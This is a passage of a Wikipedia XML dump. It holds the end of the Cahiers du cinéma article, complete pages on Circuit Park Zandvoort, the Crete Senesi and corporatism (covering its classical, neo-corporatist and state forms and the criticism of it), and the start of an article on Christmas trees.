The critical writing of ''Cahiers'' re-invented the basic tenets of [[film theory]] ([[auteur theory|auteurs]], [[mise en scène]], la critique des beautés etc.) and [[film theory|film scholarship]] &amp;mdash; establishing the 'value' of the [[Hollywood]] films of [[Alfred Hitchcock]] and [[Howard Hawks]] then directors including [[Robert Aldrich]], [[Nicholas Ray]], [[Fritz Lang]], and [[Anthony Mann]], as well as [[Jean Renoir]], [[Roberto Rossellini]], [[Kenji Mizoguchi]], [[Max Ophuls]], and [[Jean Cocteau]]. While also attacking the existing French directors (La qualité française &amp;mdash; novelization, over-elaboration etc.). The magazine also created the ''[[French New Wave|Nouvelle Vague]]'' or New Wave of French cinema, which was largely directed by ex-writers of the magazine. 

After being reactionary and isolated in the [[1950s]] the replacement of Rohmer by Jacques Rivette in [[1963]] meant that the magazine staff were more sensitive to political and social trends as well as responding more to non-Hollywood films. The style moved through literary modernism in the early [[1960s]] to radicalism and &quot;dialectical materialism&quot; by 1970 and through the mid-70s the magazine was run by a [[Maoist]] collective. A return to more commercial perspectives in the late [[1970s]], marked by a review of ''[[Jaws (film)|Jaws]]'', and a more organised turnover of editors ([[Serge Daney]], [[Serge Toubiana]], [[Thierry Jousse]], [[Antoine de Baecque]], and [[Charles Tesson]]) meant the rehabilitation of some of the old Cahiers favourites as well as some new names like [[Manoel de Oliveira]], [[Raul Ruiz|Raúl Ruíz]], [[Hou Hsiao-Hsien]], [[Youssef Chahine]], and [[Maurice Pialat]]. More recent writers have included [[Serge Daney]], Serge Toubiana, Thierry Jousse, Antoine de Baecque, Charles Tesson and [[Franck Nouchi]], [[Andre Techine]], [[Léos Carax]], [[Olivier Assayas]], [[Danièle Dubroux]], and [[Serge Le Peron]].

In [[1998]], the Editions de l'Etoile (the company publishing ''Cahiers'') was acquired by the press group ''[[Le Monde]]''.

==External links==
*[http://www.cahiersducinema.com Official website]
*[http://www.archives-cahiersducinema.com/ Archives]
*[http://alumnus.caltech.edu/~ejohnson/critics/cahiers.html Top 10 list] (for years 1951, 1955&amp;ndash;1968, 1981&amp;ndash;2002)

[[Category:Film criticism]]
[[Category:Film magazines]]
[[Category:Film theory]]
[[Category:French magazines]]

[[de:Cahiers du cinéma]]
[[eo:Cahiers du Cinéma]]
[[fr:Les Cahiers du cinéma]]
[[it:Les Cahiers du cinéma]]
[[lb:Cahiers du Cinéma]]
[[ja:カイエ・デュ・シネマ]]
[[pt:Cahiers du Cinéma]]
[[zh:电影手册]]</text>
    </revision>
  </page>
  <page>
    <title>Cartzonna</title>
    <id>7766</id>
    <revision>
      <id>15905816</id>
      <timestamp>2003-06-12T17:06:31Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>redirecting</comment>
      <text xml:space="preserve">#redirect [[Gavoi]]</text>
    </revision>
  </page>
  <page>
    <title>Circuit Park Zandvoort</title>
    <id>7767</id>
    <revision>
      <id>30033588</id>
      <timestamp>2005-12-03T18:39:33Z</timestamp>
      <contributor>
        <username>FG42</username>
        <id>395347</id>
      </contributor>
      <minor />
      <comment>moved [[Circuit Zandvoort]] to [[Circuit Park Zandvoort]]</comment>
      <text xml:space="preserve">'''Circuit Park Zandvoort''' is a motor [[circuit (racing)|racing circuit]] located near the town of [[Zandvoort]], in the [[Netherlands]], near the [[North Sea]] coast line. 

Although there were some races at Zandvoort before [[World War II|WW II]], a real circuit was not built until after the war, mainly designed by [[John Hugenholz]]. 
The first event was held in [[1949]], as the Zandvoort Grand Prix. The following year, the race was called the Dutch Grand Prix, and it was included in the [[Formula One]] World Championship in [[1952]]. In [[1985]], the Dutch Grand Prix was held for the last time, as part of the circuit had to be remodelled because of new buildings. Currently the circuit is again bidding to be included in the Formula One World Championship. The major event that is currently held at the circuit is the [[Marlboro Masters]], where [[Formula 3]] cars of several national racing series compete with each other.

The most famous corner in the circuit is the ''Tarzanbocht'' (Tarzan corner) which provides excellent overtaking opportunities. This corner is reportedly named after a local character who had earned the nickname of [[Tarzan]] and only wanted to give up his vegetable garden in the dunes if the track's designers named a nearby corner after him.

In the history of the circuit, several fatal accidents have occurred: among them those of [[Piers Courage]] during the [[1970]] Dutch Grand Prix, and [[Roger Williamson]] died in [[1973]].

The older 'Classic' Zandvoort circuit layout is modeled in detail and can be driven in the [[Grand Prix Legends]] racing simulation for X86-based pc's.

''See also:'' [[List of Formula One circuits]]

==External links==
*{{nl icon}} [http://www.circuit-zandvoort.nl/ Circuit Zandvoort homepage]

[[Category:Sports venues in the Netherlands]]
[[Category:Formula One circuits|Zandvoort]]
[[Category:Motor racing venues in Europe]]
[[nl:Circuit Park Zandvoort]]
[[sv:Circuit Park Zandvoort]]</text>
    </revision>
  </page>
  <page>
    <title>Crete Senesi</title>
    <id>7768</id>
    <revision>
      <id>41829181</id>
      <timestamp>2006-03-02T00:36:54Z</timestamp>
      <contributor>
        <username>Ian Spackman</username>
        <id>774227</id>
      </contributor>
      <minor />
      <comment>Linked to [[Monte Oliveto Maggiore]]</comment>
      <text xml:space="preserve">The '''Crete Senesi''' refers to an area of the [[Italy|Italian]] region of [[Tuscany]] to the south of [[Siena]]. It consists of a range of hills and woods among villages and includes  the ''[[comuni]]'' of 
[[Asciano]], 
[[Buonconvento]],
[[Monteroni d'Arbia]],
[[Rapolano Terme]] and
[[San Giovanni d'Asso]].

''Crete senesi'' are literally ‘clays of Siena’ and the distinctive gray colouration of the soil gives to the landscape an appearance often descibed as lunar.

Perhaps the most notable edifice of this area is the monastery [[Monte Oliveto Maggiore]].

==External links==
*[http://www.terresiena.it/page.asp?cat=cretesenesi&amp;par=&amp;id_codicearea=cs&amp;lang=en Terre di Siena: Crete Senesi]
*[http://www.lodgephoto.com/galleries/italy-tuscany/lacrete/ Photographs of the Crete  Senesi]
*[http://tuscany.podtravels.tv/category/siena/crete-senesi/ Videos of the Crete  Senesi]

{{Italy-geo-stub}}

[[Category:Italy]]</text>
    </revision>
  </page>
  <page>
    <title>Corporatism</title>
    <id>7769</id>
    <revision>
      <id>41418967</id>
      <timestamp>2006-02-27T04:51:33Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>dab welfare</comment>
      <text xml:space="preserve">{{Template:Fascism}}

Historically, '''corporatism''' or '''corporativism''' (Italian ''corporativismo'') is a [[political system]] in which legislative power is given to civic assemblies that represent economic, industrial, agrarian, and professional groups. Unlike [[pluralism]], in which many groups must compete for control of the state, in corporatism, certain unelected bodies take a critical role in the decision-making process. These corporatist assemblies are not the same as contemporary business [[corporations]] or incorporated groups.

The word &quot;corporatism&quot; is derived from the [[Latin]] word for body, ''corpus''. This original meaning was not connected with the specific notion of a [[business]] corporation, but rather a general reference to anything collected as a body. Its usage reflects medieval European concepts of a whole society in which the various components each play a part in the life of the society, just as the various parts of the body serve specific roles in the life of a body. According to various theorists, corporatism was an attempt to create a &quot;modern&quot; version of feudalism by merging the &quot;corporate&quot; interests with those of the state.  (Also see [[neofeudalism]].)

[[Political science|Political scientists]] may also use the term corporatism to describe a practice whereby an [[authoritarian]] [[state]], through the process of [[licensing]] and regulating officially-[[incorporation (business)|incorporated]] social, religious, economic, or popular organizations, effectively co-opts their leadership or circumscribes their ability to challenge state authority by establishing the state as the source of their [[legitimacy]]. This usage is particularly common in the area of [[East Asia]] studies, and is sometimes also referred to as ''state corporatism''.

In Italian Fascism, this non-elected form of state 'officializing' of every interest into the state was professed to better circumvent the marginalization of singular interests as would happen by the unilateral end condition inherent in the democractic voting process. Which would better instead recognize or 'incorporate' every divergent interest as it stands alone into the state &quot;organically&quot;, thus being the inspiration behind their use of the term [[Totalitarian]], perceivable to them as not meaning a coercive system but described distinctly as without coercion in the 1932 [[Doctrine of Fascism]] as thus;

''&quot;…(The state) is not simply a mechanism which limits the sphere of the supposed liberties of the individual…&quot;'' &amp; ''&quot;…Neither has the Fascist conception of authority anything in common with that of a police ridden State…&quot;'' but rather clearly connoting ''&quot;…Far from crushing the individual, the Fascist State multiplies his energies, just as in a regiment a soldier is not diminished but multiplied by the number of his fellow soldiers…&quot;''

This prospect in Italian Fascist Corporativism claimed to be the direct heir of [[Georges Sorel]]'s [[Anarcho-syndicalism]]. Wherein each interest was to form as its own entity with separate organizing parameters according to their own standards, only however within the corporative model of Italian Fascism each was supposed to be incorporated through the auspices &amp; organizing ability of a statist construct. This was by their reasoning the only possible way to achieve such a function, i.e. when resolved in the capability of an indissolvable state.

Contemporary popular usage of the term is more pejorative, especially when used as the shorter form ''corporatism'' (''corporativism'' usually implies only the Italian construct indicating public rather than private organizing), emphasizing the role of [[business]] corporations in government decision-making at the expense of the public. The power of business to affect government legislation through [[lobbying]] and other avenues of influence in order to promote their interests is usually seen as detrimental to those of the public. In this respect, corporatism may be characterized as an extreme form of [[regulatory capture]], and is also termed [[corporatocracy]].  If there is substantial military-corporate collaboration it is often called militarism or the [[military-industrial complex]]. 

Some contemporary political scientists and sociologists use the term ''neo-corporatism'' to describe a process of bargaining between labor, capital, and government identified as occurring in some small, open economies (particularly in [[Europe]]) as a means of distinguishing their observations from popular pejorative usage and to highlight ties to classical theories.

==Classical theoretical origins==
Corporatism is a form of [[class collaboration]] put forward as an alternative to [[class conflict]], and was first proposed in [[Pope Leo XIII]]'s 1891 [[encyclical]] [[Rerum Novarum]], which influenced [[Catholic trade unions]] that organised in the early twentieth century to counter the influence of trade unions founded on a [[socialist]] ideology. Theoretical underpinnings came from the [[medieval]] traditions of [[guild]]s and craft-based economics; and later, [[syndicalism]]. Corporatism was encouraged by Pope [[Pius XI]] in his 1931 encyclical [[Quadragesimo Anno]].

[[Gabriele D'Annunzio]] and [[anarcho-syndicalist]] [[Alceste de Ambris]] incorporated principles of corporative philosophy in their [[Constitution of Fiume]].

One early and important theorist of corporatism was [[Adam Müller]], an advisor to [[Prince Metternich]] in what is now eastern [[Germany]] and [[Austria]]. Müller propounded his views as an antidote to the twin &quot;dangers&quot; of the [[egalitarianism]] of the [[French Revolution]] and the [[laissez-faire]] economics of [[Adam Smith]]. In Germany and elsewhere there was a distinct aversion among rulers to allow unrestricted capitalism, owing to the [[feudalism|feudalist]] and [[aristocracy|aristocratic]] tradition of giving state privileges to the wealthy and powerful.

Under [[fascism]] in Italy, business owners, employees, trades-people, professionals, and other economic classes were organized into 22 guilds, or associations, known as &quot;corporations&quot; according to their industries, and these groups were given representation in a legislative body known as the ''Camera dei Fasci e delle Corporazioni.'' For excerpts from Mussolini's essay discussing the corporatist state, see [[Doctrine of Fascism]].

Similar ideas were also ventilated in other European countries at the time. For instance, [[Austria]] under the [[Engelbert Dollfuss|Dollfuß]] dictatorship had a constitution modelled on that of Italy; but there were also conservative philosophers and/or economists advocating the corporate state, for example [[Othmar Spann]]. In [[Portugal]], a similar ideal, but based on bottom-up individual moral renewal, inspired [[António de Oliveira Salazar|Salazar]] to work towards corporatism. He wrote the [[Portuguese Constitution of 1933]], which is credited as the first [[corporatist]] constitution in the world.

==Neo-corporatism==
In the recent literature of [[political science]] and [[sociology]], corporatism (or neo-corporatism) lacks negative connotation. In the writings of Philippe Schmitter, Gerhard Lehmbruch and their followers, &quot;neo-corporatism&quot; refers to social arrangements dominated by tri-partite bargaining between [[labor unions|unions]], the private sector (capital), and government. Such bargaining is oriented toward (a) dividing the productivity gains created in the economy &quot;fairly&quot; among the social partners and (b) gaining wage restraint in recessionary or inflationary periods.

Most political economists believe that such neo-corporatist arrangements are only possible in societies in which labor is highly organized and various [[labor unions]] are hierarchically organized in a single labor federation. Such &quot;encompassing&quot; unions bargain on behalf of all workers, and have a strong incentive to balance the employment cost of high wages against the real income consequences of small wage gains. Many of the small, open European economies, such as [[Sweden]], [[Austria]], [[Norway]], [[Ireland]], and the [[Netherlands]] fit this classification. In the work of some scholars, such as [[Peter J. Katzenstein]], neo-corporatist arrangements enable small open economies to effectively manage their relationship with the global economy. The adjustment to trade shocks occurs through a bargaining process in which the costs of adjustment are distributed evenly (&quot;fairly&quot;) among the social partners. 

Examples of modern neocorporatism include the [[International Labour Organization|ILO]] Conference or in the Economic and Social Committee of the [[European Union]], the collective agreement arrangements of the Scandinavian countries, the [[Netherlands|Dutch]] [[Poldermodel]] system of consensus, or the [[Republic of Ireland]]'s system of [[Social Partnership]]. In [[Australia]], the [[Australian Labor Party|Labor Party]] governments of [[1983]]-[[1996|96]] fostered a set of policies known as ''The Accord'', under which the [[Australian Council of Trade Unions]] agreed to hold back demands for [[wages|pay increases]], the compensation being increased expenditure on the &quot;[[social wage]]&quot;, Prime Minister [[Paul Keating]]'s name for broad-based [[welfare (financial aid)|welfare]] programs. In [[Italy]], the [[Carlo Azeglio Ciampi]] administration inaugurated in [[July 23]] [[1993]] a ''concertation'' ([[Italian Language|italian]]: ''concertazione'') policy of peaceful agreement on salary rates between [[government]], the three main [[trade unions]] and the [[Confindustria]] employers' federation. Before that, salary augmentations always were conquered by [[strike action|strike actions]]. In [[2001]] the [[Silvio Berlusconi]] administration put an end to concertation.

Most theorists agree that neo-corporatism is undergoing a crisis. In many classically corporatist countries, traditional bargaining is on the retreat. This crisis is often attributed to [[globalization]], but this claim is not undisputed.

==State corporatism==
While classical corporatism and its intellectual successor, neo-corporatism (and their [[Corporatism#Criticism|critics]]) emphasize the role of corporate bodies in influencing government decision-making, corporatism used in the context of the study of [[autocratic]] [[states]], particularly within [[East Asian studies]], usually refers instead to a process by which the state uses officially-recognized organizations as a tool for restricting public participation in the political process and limiting the power of [[civil society]].

Under such a system, as described by Jonathan Unger and Anita Chan in their essay ''China, Corporatism, and the [[East Asian Model]]''[http://www.usc.cuhk.edu.hk/wk_wzdetails.asp?id=1544],
&lt;blockquote&gt;at the national level the state recognizes one and only one organization (say, a national labour union, a business association, a farmers' association) as the sole representative of the sectoral interests of the individuals, enterprises or institutions that comprise that organization's assigned constituency. The state determines which organizations will be recognized as legitimate and forms an unequal partnership of sorts with such organizations. The associations sometimes even get channelled into the policy-making processes and often help implement state policy on the government's behalf.&lt;/blockquote&gt;

By establishing itself as the arbitrator of legitimacy and assigning responsibility for a particular [[constituency]] with one sole organization, the state limits the number of players with which it must negotiate its policies and co-opts their leadership into policing their own members. This arrangement is not limited to economic organizations such as business groups or trade unions; examples can also include social or religious groups. Examples abound, but one such would be the [[People's Republic of China]]'s [[Islamic Association of China]], in which the state actively intervenes in the appointment of [[imams]] and controls the educational contents of their seminaries, which must be approved by the government to operate and which feature courses on &quot;patriotic reeducation&quot;.[http://hrw.org/wr2k2/asia4.html] Another example is the phenomenon known as &quot;Japan, Inc.&quot;, in which major industrial [[Conglomerate (company)|conglomerates]] and their dependent workforces were consciously manipulated by the Japanese [[MITI]] to maximize post-war economic growth.

==Criticism of Corporatism==
'''Corporatism''' or '''neo-corporatism''' is often used popularly as a pejorative term in reference to perceived tendencies in politics for [[legislator]]s and [[Administration#Government|administrations]] to be influenced or dominated by the interests of business enterprises. The influence of other types of corporations, such as [[labor unions]], is perceived to be relatively minor. In this view, government decisions are seen as being influenced strongly by which sorts of policies will lead to greater profits for favored companies. 

Corporatism is also used to describe a condition of corporate-dominated [[globalization]].  Points enumerated by users of the term in this sense include the prevalence of very large, [[multinational corporation]]s that freely move operations around the world in response to corporate, rather than public, needs; the push by the corporate world to introduce legislation and treaties which would restrict the abilities of individual nations to restrict corporate activity; and similar measures to allow corporations to sue nations over &quot;restrictive&quot; policies, such as a nation's environmental regulations that would restrict corporate activities.

Critics of capitalism often argue that any form of capitalism would eventually devolve into corporatism, due to the [[Wealth condensation|concentration of wealth]] in fewer and fewer hands. A permutation of this term is '''corporate globalism'''. [[John Ralston Saul]] argues that most Western societies are best described as corporatist states, run by a small elite of professional and interest groups, that exclude political participation from the citizenry.

Many critics of free market theories, such as [[George Orwell]], have argued that corporatism (in the sense of an economic system dominated by massive corporations) is the natural result of free market capitalism.

Others critics say that they are pro-capitalist, but anti-corporatist. They support capitalism but only when corporate power is separated from state power.

===Corporatism and Fascism===
Some critics equate too much corporate power and influence with fascism. See [[Fascism and ideology]]. Often they cite a quote claimed to be from Mussolini: &quot;Fascism should more properly be called corporatism because it is the merger of state and corporate power.&quot; However the most common cites for the quote do not track back to this phrase, and it is most likely an Internet hoax. [http://www.publiceye.org/fascist/corporatism.html]. Despite this, the alleged quote has entered into modern discourse, and it appears on thousands of web pages  [http://www.google.com/search?q=mussolini+fascism+corporatism+%22merger+of+state+and+corporate+power%22], and in books [http://books.google.com/books?q=mussolini+fascism+corporatism+%22merger+of+state+and+corporate+power%22], and even a conspiracy theory advertisement in the ''Washington Post.''[http://www.fromthewilderness.com/free/ww3/051603_wash_post_ad.html]. However, the alleged quote contradicts almost everything else written by Mussolini on the subject of the relationship between corporations and the Fascist State.[http://www.publiceye.org/fascist/corporatism.html]. 

In one 1935 English translation of what Mussolini wrote, the term &quot;corporative state&quot; is used,[http://www.worldfuturefund.org/wffmaster/Reading/Germany/mussolini.htm] but this has a different meaning from modern uses of the terms used to discuss business corporations. In that same translation, the phrase &quot;national Corporate State of Fascism,&quot; refers to syndicalist corporatism. The dubious quote is sometimes claimed to more accurately summarize what Mussolini did and not what he said. However many scholars of fascism reject this claim. See [[Fascism and ideology]]. 

There is a very old argument about who controlled who in the fascist states of Italy and Germany at various points in the timeline of power. It is agreed that the army, the wealthy, and the big corporations ended up with much more say in decision making than other elements of the corporative state [http://www.bartleby.com/65/co/corpor-st.html] [http://www.bartleby.com/65/fa/fascism.html] [http://www.econlib.org/library/Enc/Fascism.html]. There was a power struggle between the fascist parties/leaders and the army, wealthy, and big corporations. It waxed and waned as to who had more power at any given time. Scholars have used the term &quot;Mussolini's corporate state&quot; in many different ways[http://books.google.com/books?ie=UTF-8&amp;q=mussolini+corporate+state]. 

In the United States, corporations representing many different sectors are involved in attempts to influence legislation through lobbying. This is also true of many non-business groups, unions, membership organizations, and non-profits. While these groups have no official membership in any legislative body, they can often wield considerable power over law-makers. In recent times, the profusion of lobby groups and the increase in campaign contributions has led to widespread controversy and the [[Bipartisan Campaign Reform Act|McCain-Feingold Act]].

===Free Market criticisms===
[[Free market]] theorists like [[Ludwig von Mises]], would describe corporatism as anathema to their vision of capitalism.  In the kind of capitalism such theorists advocate, what has been called the [[night-watchman state|&quot;night-watchman&quot; state]], the government's role in the economy is restricted to safeguarding the autonomous operation of the free market.  In this sense of capitalism, corporatism would be perceived as anti-capitalist as socialism.  Other critics argue that corporatist arrangements exclude some groups, notably the unemployed, and are thus responsible for high unemployment. This argument is the basis of the book &quot;Logic of Collective Action&quot; by Harvard economist [[Mancur Olson]].

In the United States, some claim that [[Franklin D. Roosevelt]]&amp;rsquo;s [[New Deal]] programs were an unprecedented jump towards a corporate state. Although there is a long history of narrow economic interests controlling the decision-making process in America, these critics, usually libertarians, say that the New Deal in general and the [[National Recovery Administration]] in particular represented a new and broad experiment in corporatism. [http://64.233.161.104/search?q=cache:fHF_o54pFCEJ:www.fee.org/pdf/the-freeman/1005RME] Several portions of the New Deal were struck down as [[unconstitutional]] by the US Supreme Court. For example, the Court in striking down the [[Agricultural Adjustment Act]] stated that &quot;a statutory plan to regulate and control agricultural production, [is] a matter beyond the powers delegated to the federal government...&quot;Some [http://www.frontpagemag.com/Articles/ReadArticle.asp?ID=3054] claim that later US governmental programs represent further state corporatist activity. In this context, corporatism has been described as ''economic fascism''. See: [[Fascism and ideology]].

==See also==
*[[Anti-globalization]]
*[[Antitrust]]
*[[Collectivism]]
*[[Corporate nationalism]]
*[[Corporate police state]]
*[[Corporatization]]
*[[Crony capitalism]]
*[[Economic fascism]]
*[[Globalization]]
*[[New Deal]]
*[[Plutocracy]]
*[[Quango]]

==Sources==
'''On Italian Corporatism'''

*[http://sources.wikipedia.org/wiki/Constitution_of_Fiume Constitution of Fiume]
*[http://www.vatican.va/holy_father/leo_xiii/encyclicals/documents/hf_l-xiii_enc_15051891_rerum-novarum_en.html ''Rerum Novarum'': encyclical of pope Leo XIII on capital and labor] 
*[http://www.vatican.va/holy_father/pius_xi/encyclicals/documents/hf_p-xi_enc_19310515_quadragesimo-anno_en.html ''Quadragesimo Anno'': encyclical of pope Pius XI on reconstruction of the social order]
*There is an essay on &quot;The Doctrine of Fascism&quot; credited to [[Benito Mussolini]] that appeared in the 1932 edition of the ''Enciclopedia Italiana'', and excerpts can be read at [[Doctrine of Fascism]]. There are also links there to the complete text.

'''On Neo-Corporatism'''
*Katzenstein, Peter: ''Small States in World Markets'', Ithaca, 1985.
*Olson, Mancur: ''Logic of Collective Action: Public Goods and the Theory of Groups'', (Harvard Economic Studies), Cambridge, 1965.
*Schmitter, P. C. and Lehmbruch, G. (eds.), ''Trends toward Corporatist Intermediation'', London, 1979.
*Rodrigues, Lucia Lima: &quot;Corporatism, liberalism and the accounting profession in Portugal since 1755,&quot; ''Journal of Accounting Historians,'' June 2003. [http://www.findarticles.com/p/articles/mi_qa3657/is_200306/ai_n9301506/print]

==External links==
*[http://www.publiceye.org/fascist/corporatism.html publiceye.org discusses ''this'' article, and provides copious references on the subject]
*[http://www.banned-books.com/truth-seeker/1994archive/121_3/ts213l.html ''Economic Fascism''] by Thomas DiLorenzo
*[http://books.google.com/books?q=mussolini+%22my+autobiography%22&amp; 2 Mussolini autobiographies in one book. English. Searchable.] Click on the result titled &quot;My Rise and Fall&quot; (usually the top result). Then use the search form in the left column titled &quot;search within this book.&quot;
*[http://www.questia.com/PM.qst?a=o&amp;d=99690246 The 1928 autobiography of Benito Mussolini. Online.] ''My Autobiography''. Book by Benito Mussolini; Charles Scribner's Sons, 1928.

[[Category:Economic ideologies]]
[[Category:Fascism]]
[[Category:Globalization]]
[[Category:Politics]]

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[[he:קורפורטיזם]]
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    </revision>
  </page>
  <page>
    <title>Christmas tree</title>
    <id>7770</id>
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      <comment>/* Name controversy */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Juletræet.jpg|right|250px|thumb|A Christmas tree in a Danish home.]]

A '''Christmas tree''' is one of the most popular [[tradition]]s associated with the celebration of [[Christmas]]. It is normally an [[evergreen]] [[Pinophyta|coniferous]] [[tree]] that is brought into a home or used in the open, and is decorated with [[Christmas lights]] and colourful [[Christmas ornament|ornament]]s during the days around Christmas.

==Dates==
Traditionally, Christmas trees were not brought in and decorated until [[Christmas Eve]] ([[24 December]]), and then removed the day after [[Twelfth Night (holiday)|twelfth night]] (i.e., [[6 January]]); to have a tree up before or after these dates was even considered bad luck. Modern [[commercialisation]] of Christmas has however resulted in trees being put up much earlier; in [[shop]]s often as early as late October. The most common tradition in U.S. homes is to put the tree up right after [[Thanksgiving]] (the fourth Thursday in November) and to take it down right after the [[New Year]]. In more northern climates and into Canada, the tree (if not too dry) and other decorations are left up well into January. In Europe, private Christmas trees are not usually put up until at least the middle of December and are usually taken down by the 6th of January. In Germany, the Catholic people takes their Christmas trees down by the 2nd of February.

==Types of trees used==
[[Image:Christmas tree2.jpg|right|250px|thumb|A sheared tree.]]
Both natural and artificial trees are used as Christmas trees.

===Natural trees===
The best [[species]] for use are species of [[fir]] (''Abies''), which have the major benefit of not shedding the needles when they dry out, as well as good foliage colour and scent; but species in other [[genus|genera]] are also used. Commonly used species in northern [[Europe]] (including the [[United Kingdom|UK]]) are:

*[[Silver Fir]] ''Abies alba'' (the original species)
*[[Nordmann Fir]] ''Abies nordmanniana'' (as in the photo)
*[[Noble Fir]] ''Abies procera''
*[[Norway Spruce]] ''Picea abies'' (generally the cheapest)
*[[Serbian Spruce]] ''Picea omorika'' 
*[[Scots Pine]] ''Pinus sylvestris''
and in [[North America]]:
*[[Balsam Fir]] ''Abies balsamea''
*[[Fraser Fir]] ''Abies fraseri''
*[[Noble Fir]] ''Abies procera''
*[[Red Fir]] ''Abies magnifica''
*[[Coast Douglas-fir|Douglas-fir]] ''Pseudotsuga menziesii''
*[[Scots Pine]] ''Pinus sylvestris''
*[[Stone Pine]] ''Pinus pinea'' (as small table-top trees)

Several other species are used to a lesser extent. Less-traditional conifers are sometimes used, such as [[Giant Sequoia]], [[Leyland Cypress]] and [[Eastern Juniper]]. [[Virginia Pine]] is still available on some tree farms in the southeastern United States, however it has poor winter colour and sharp needles. The long-needled [[Eastern White Pine]] is also used there. [[Araucaria heterophylla|Norfolk Island pine]] is sometimes used, particularly in the [[Oceania]] region, and in [[Australia]] some species of the genera ''[[Casuarina]]'' and ''[[Allocasuarina]]'' are also occasionally used as Christmas trees.

Some trees are sold live with roots and soil, often from a [[Nursery (horticulture)|nursery]], to be planted later outdoors and enjoyed (and often decorated) for years or decades. However, the combination of root loss on digging, and the indoor environment of high [[temperature]] and low [[humidity]] is very detrimental to the tree's health, and the survival rate of these trees is low. These trees must be kept inside only for a few days, as the warmth will bring them out of [[dormancy]], leaving them little protection when put back outside into the midwinter cold in most areas. Others are produced in a container and sometimes as [[topiary]] for a porch or patio.

European tradition prefers the open aspect of naturally-grown, unsheared trees, while in North America (outside much of the [[Rocky Mountains|Rockies]]&lt;!--need a source for this--&gt;) there is a preference for close-sheared trees with denser foliage, but less space to hang decorations. The shearing also damages the highly attractive natural [[symmetry]] of unsheared trees. In the past, Christmas trees were often harvested from wild forests, but now almost all are commercially grown on [[tree farm]]s.

In the [[UK]], [[The British Christmas Tree Growers Association]] represents the interests of all those who grow Christmas trees in [[Great Britain]] and [[Northern Ireland]].

===Artificial trees===
[[Image:TSTNewWorldCentre.jpg|thumb|250px|A huge artificial Christmas tree outside a shopping mall in [[Hong Kong]], [[China]]]]
Artificial trees are very popular, particularly in the U.S., where despite their lack of realism (both in looks and [[odor|scent]]), they are considered more convenient and (if used for several years) less expensive than real trees. Trees come in a number of colours and &quot;species&quot;, and some come pre-decorated with coloured lights. At the end of the Christmas season artificial trees can be diassembled and stored compactly, but some artificial-tree owners simply store the whole decorated tree covered in a large bag, ready for the next year. In the U.S., about 70% of trees are now artificial.

Artificial trees are sometimes even a necessity in some rented homes (especially [[apartment]] flats), due to the potential [[fire]] danger from a dried-out real tree, leading to their prohibition by some [[landlord]]s. They may also be necessary for people who have an [[allergy]] to conifers, and are increasingly popular in office settings.

====Feather trees====
The first artificial trees were tabletop ''feather trees'', made from green-[[dye]]d [[goose]] [[feather]]s wound onto sticks drilled into a larger one, like the branches on a tree. Originating in [[Germany]] in the 19th century to prevent further [[deforestation]], these &quot;[[minimalism|minimalist]]&quot; trees show off small ornaments very well. The first feather trees came to the U.S. in 1913, in the [[Sears Holdings Corporation|Sears, Roebuck and Company]] [[catalog]].

====Modern trees====
The first modern artificial Christmas trees were produced by companies which made [[brush]]es. They were made the same way, using animal hair (mainly [[pig]] bristles) and later [[plastic]] bristles, dyed pine-green colour, inserted between twisted wires that form the branches. The bases of the branches were then twisted together to form a large branch, which was then inserted by the user into a wooden pole (now metal with plastic rings) for a trunk. Each row of branches is a different size, colour coded at the base with paint or stickers for ease of assembly.

The first trees looked like long-needled pine trees, but later trees use flat [[Polyvinyl chloride|PVC]] sheets to make the needles. Many also have very short brown &quot;needles&quot; wound in with the longer green ones, to imitate the branch itself or the bases that each group of pine (but not other conifer) needles grows from. These trees have become a little more realistic every year, with a few [[deluxe]] trees containing multiple branch styles. Many trees now come in &quot;slim&quot; versions, to fit in smaller spaces. Most of the better trees have branches hinged to the pole, though the less-expensive ones generally still come separately. Better trees also have more branch tips, the number usually listed on the box.

Around 2003, some trees with molded-plastic branches started selling in the U.S..

====Designer trees====
The first trees which were not green were the [[metallic]] trees of the 1950s and 1960s. They were [[aluminium]]-coated [[paper]], meaning that they also posed a great fire hazard if lights were put directly on them (warnings to this effect are still issued with most christmas tree lights). They were instead lit by a [[searchlight|spotlight]] or [[floodlight]], often with a [[motor]]ised rotating [[color wheel]] in front of it. More recent tinsel trees can be used fairly safely with lights.

Other artificial trees which look nothing like a conifer except for the triangular or conical shape, are also used as tabletop decorations, such as a stack of ornaments.

====Outdoor trees====
Outdoor branched trees made out of heavy white-[[enameled wire|enameled]] [[steel]] wires have become more popular on U.S. [[lawn]]s in the 2000s, along with 1990s [[spiral]] ones that hang from a central pole, both styles being lighted with standard miniature lights. These lights are usually white, but often are green, red, red/green, blue/white, blue, or multicoloured, and sometimes with a small controller to fade colours back and forth.  

A few [[hotel]]s and other buildings, both public and private, will string lights up from the roof to the top of a small tower on top of the building, so that at night it appears as a lit Christmas tree, often using green or other coloured lights. Some [[skyscraper]]s will tell certain offices to leave their lights on (and others off) at night during December, creating a Christmas tree pattern.

====Other gimmicks====
[[Image:Fiber-optic Christmas tree.jpg|thumb|A tree with fibre optic lights]]
Since the late 1990s, many indoor artificial trees come pre-strung with lights. Some are instead lit partly or completely by [[fibre optics]], with the light in the base, and a rotating colour wheel causing various colours to shimmer across the tree.

In 2005 inverted trees became popular. They were originally sold as decorations for merchants that allowed customers to get closer to ornaments being sold. Customers then wanted to replicate the inverted tree. Retailers also claimed that the trees were popular because they allowed larger presents to be placed beneath the trees.

Past gimmicks include small talking or singing trees, and trees which blow &quot;snow&quot; (actually small [[styrofoam]] beads) over themselves, collecting them in a decorative [[cardboard]] bin at the bottom and blowing them back up to the top through a tube hidden next to the trunk.

A long-standing and simple gimmick is conifer [[seed]]lings sold with cheap decorations attached by soft [[pipe cleaner]]s. Real potted ones are often sold like this, and artificial ones often come with a &quot;root ball&quot; but only sometimes with decorations.

====Environmental issues====
There is some debate as to whether artificial or real trees are better for the [[environment]]. Artificial trees are usually made out of [[Polyvinyl chloride|PVC]], a toxic material which is often stabilised with [[lead]]. Some trees have a warning that dust or leaves from the tree should not be eaten or inhaled. A small amount of real-tree material is used in some artificial trees. For instance, the [[bark]] of a real tree can be used to surface an artificial trunk. [[Polyethylene]] trees are less toxic, though more expensive, than PVC trees [http://www.grist.org/advice/ask/2004/12/08/umbra-tree/].

